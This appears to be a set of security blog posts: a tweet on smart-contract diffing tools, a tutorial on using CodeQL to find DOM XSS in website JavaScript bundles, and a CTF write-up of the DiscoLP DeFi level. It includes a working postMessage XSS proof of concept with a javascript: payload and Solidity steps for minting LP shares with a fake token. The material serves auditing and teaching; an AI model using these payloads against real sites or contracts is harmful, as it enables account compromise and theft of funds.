https://github.com/Decurity/tx-coverage

tx-coverage allows to reveal unused code of live smart contracts by collecting coverage from historical transactions.

With it you can discover code that was never executed onchain and may contain potential bugs.

To help auditors I have built https://contract-diff.xyz

This is how it works

For popular contracts like OpenZeppelin, Uniswap, Sushiswap, etc two kinds of hashes were computed: md5 hashsums & simhashes. Using hashsums we can find exact matches of contract sources. With simhashes it is possible to find contracts that are very similar to each other.

EtherScan does not verify the integrity of the included libs. With https://contract-diff.xyz you can quickly figure out which versions of libs are actually used. If a hashsum is not found in the database, but there is a contract with a similar simhash you will see a diff view.

One example is Uranium hack which was a fork of Uniswap v2:

Here you can see that there were mostly renamings but also an important change to the logic which led to $57,000,000 loss:

https://www.contract-diff.xyz/?address=0xa08c4571b395f81fbd3755d44eaf9a25c9399a4a&chain=1

I am planning to add more chains (currently only Ethereum mainnet & BSC) as well as support more contract flatenners (they are really weird). Will appreciate any feedback. Cheers!

Originally tweeted by Raz0r (@theRaz0r) on 16 February 2022.

The idea of CodeQL is to treat source code as a database which can be queried using SQL-like statements. There are lots of languages supported among which is JavaScript. For JavaScript both server-side and client-side flavours are supported. JS CodeQL understands modern editions such as ES6 as well as frameworks like React (with JSX) and Angular.

CodeQL is not just grep as it supports taint tracking which allows you to test if a given user input (a source) can reach a vulnerable function (a sink). This is especially useful when dealing with DOM-based Cross Site Scripting vulnerabilities. By tainting a user-supplied DOM property such as location.hash one can test if this value actually reaches one of the XSS sinks, e.g. document.innerHTML or document.write().

The common use-case for CodeQL is to run a query suite against open-source code repositories. To do so you may install CodeQL locally or use https://lgtm.com/. For the latter case you should specify a GitHub repository URL and add it as your project. If a repository is popular enough you will get a list of alerts as somebody already attempted to use CodeQL on it. You may also run your own queries to find something that is not covered by LGTM default query suite. However, CodeQL can be used not just to scan repositories, but also to find bugs on any website on the internet.

Popular web vulnerability scanners like Burp Suite have built-in JavaScript analyzers which scan any JS file found on the website to discover client-side vulnerabilities, primarily DOM XSS. Although they produce some meaningful results, subtle bugs stay under the radar. This is where CodeQL comes into play, it can complement JS source code analysis in any security assessment.

Modern web applications tend to shift business logic from the server to the client. Typically the whole application can be found in a single JS file compiled with bundlers like webpack. In order to scan such bundles with CodeQL it is necessary to perform the following steps. Firstly, all the JS links should be gathered and downloaded. For this task one can use subjs to find JS links and then meg or just wget to download all of them. After that one needs to build a CodeQL database from the gathered files using the command:

codeql database create example.com --language=javascript

After the database is built it is time to launch the actual scanning:

codeql database analyze example.com javascript-lgtm.qls --format=sarif-latest --output=results.sarif

This command uses default LGTM.com’s query suite (javascript-lgtm.qls) and saves the results in Sarif format which can be later loaded in VSCode with the help of Sarif Viewer extension.

If you analyze bundles produced by webpack, the number of issues may be overwhelming for manual review. That is why it is always better to analyze unminified source code instead. When building with webpack, one may choose to include source mappings which can ease the debugging. With the source mappings it is possible to recover the original code. Web browsers automatically detect, fetch and interpret source mappings:

However, it is not possible to save unpacked source code from a browser, so we will have to use a special tool called unwebpack-sourcemap. With it the procedure is as easy as:

./unwebpack_sourcemap.py --detect https://example.com/auth/login example.com

After building and analyzing CodeQL database once again we can observe that the number of findings is much fewer and the results are significantly more relevant.

CodeQL allows you to look for not only vulnerabilities but also code quality issues that might present a security risk after a manual review. Here is an example of such an issue that resulted in a DOM XSS on a popular website found with the help of CodeQL.

After an initial scanning the following finding looked interesting:

Looking at the source code we see that the function isCompanyDomain() is called with origin argument inside receivePostMessage() function:

export const receivePostMessage = (e = {}) => {
    const { origin, data } = e;
    if (isCompanyDomain(origin)) {
        return data;
    }
    return null;
};

Let’s have a look at isCompanyDomain() function:

const isCompanyDomain = () => true;

Now we understand why CodeQL reported this piece of code: it ignores origin argument and always returns true. The code looks like a security check, so it might be a bypass, let’s find all the occurrences of  receivePostMessage() calls with the following CodeQL query:

import javascript

from InvokeExpr call
where
  call.getCalleeName() = "receivePostMessage"
select call

This gives us the following result:

handleSsoPopupMessage = (e) => {
        const messageObj = receivePostMessage.call(this, e);
        if (messageObj) {
            const { message, props } = messageObj;
            switch (message) {
            case 'SSO_ACTION_SUCCESS':
                this.trackSuccess({
                    method: props.oauthProvider,
                    action: props.action,
                    eventCallback: () => redirect(props.redirectUri),
                });
                break;
            }
        }
    };

As you can see the function handleSsoPopupMessage() is a postMessage event handler which supposedly should be protected with isCompanyDomain() checking the origin of the message. However it always returns true which looks like a technical debt of the frontend developers. Message handlers are a common source of DOM-based XSS vulnerabilities if left unprotected from external interaction. This is the case as the user-supplied argument redirectUri is passed into the redirect() function which effectively leads to an XSS using a payload with javascript: scheme. The PoC looks as follows:

<a href="#" onclick="xss()">click me</a>
<script>
  function xss() {
    var win = window.open('https://example.com/auth/login', '_blank');
    setTimeout(function() {
      win.postMessage({
        'message': 'SSO_ACTION_SUCCESS',
        "props": {
          "oauthProvider": "test",
          "action": "test",
          "redirectUri": "javascript:alert(document.location)"
        }
      }, "*");
    }, 5000);
  }
</script>

CodeQL can complement existing source code analysis tools, for instance Burp Suite’s built-in JS analyzer. However, the real value of CodeQL is that it allows you to create custom checks that can be run on each JS code bundle found on a website. Please keep in mind that if you are not conducting academic research, CodeQL license requires permission from a web site owner. I strongly recommend giving a try to GitHub Security Lab CTF 3 to understand how to leverage CodeQL potential in web application assessments. I also suggest installing CodeQL CLI locally as well as VSCode extension for faster on-boarding and a more convenient access to the tool.

An audit of large code bases always involves automated tools, especially in the area of web applications. With the business logic shifting towards client-side, CodeQL offers an effective approach to spot vulnerabilities in JavaScript bundles using the customized queries. Hope this tutorial will make CodeQL a part of your web application assessment routine.

DiscoLP

DiscoLP is a brand new liquidity mining protocol! You can participate by depositing some JIMBO or JAMBO tokens. All liquidity will be supplied to JIMBO-JAMBO Uniswap pair. By providing liquidity with us you will get DISCO tokens in return!

The goal of this level was to get at least 100 DISCO tokens having only 1 JIMBO and 1 JAMBO. The target contract DiscoLP had only one public function named “deposit” with an explicit statement in the comments:

// accepts only JIMBO or JAMBO tokens

Uniswap is designed in such a way that one has to deposit a pair of tokens in the same proportions, but this function allowed to stake a single token swapping half of the value for the second token. In return LP shares were awarded. This level is a replica of the rAAVE farming contract hack that happened in February, 2021. As you may guess, the depositToken() function was not limited to JIMBO or JAMBO tokens, but actually accepted any token, there was no validation of the _token argument. It means that literally any token could have been staked that allowed to mint DISCO out of thin air. Although the cause is simple, the attack execution requires multiple steps.

First of all, an attacker has to create an arbitrary token:

Token evil = new Token("Evil Token", "EVIL"); // Token is ERC20

After that attacker approves unlimited EVIL spending to the instance of the level and to the Uniswap router:

evil.approve(instance, 2**256 - 1);
evil.approve(_router, 2**256 - 1);

The goal of the whole attack is to get some fake LP shares after providing liquidity to the Uniswap pair with JIMBO and attacker’s EVIL token in place of JAMBO. The attacker also approves spending of JIMBO to the Uniswap router, so that the swap in the depositToken() function succeeds:

IERC20(tokenA).approve(_router, 2**256 - 1);

After that a JIMBO-EVIL Uniswap pair is created:

address pair = IUniswapV2Factory(_factory).createPair(address(evil), address(tokenA));

After transfering a single JIMBO token that we have to the attacker contract, we add liquidity to the created pool:

(uint256 amountA, uint256 amountB, uint256 _shares) = IUniswapV2Router(_router).addLiquidity(
  address(evil),
  address(tokenA),
  100000000000 * 10 ** 18, // EVIL liquidity
  1 * 10 ** 18,            // 1 JIMBO
  1, 1, 
  address(this), // address to send LP shares (attacker contract)
  2**256 - 1);

Finally we deposit fake LP shares to DiscoLP contract:

DiscoLP(instance).depositToken(address(evil), amount, 1);

After swapping zero-value EVIL tokens, we get plenty of DiscoLP shares! You can find the full source code of the attack contract here: https://github.com/Raz0r/defihack/blob/master/contracts/attacks/DiscoLPAttack.sol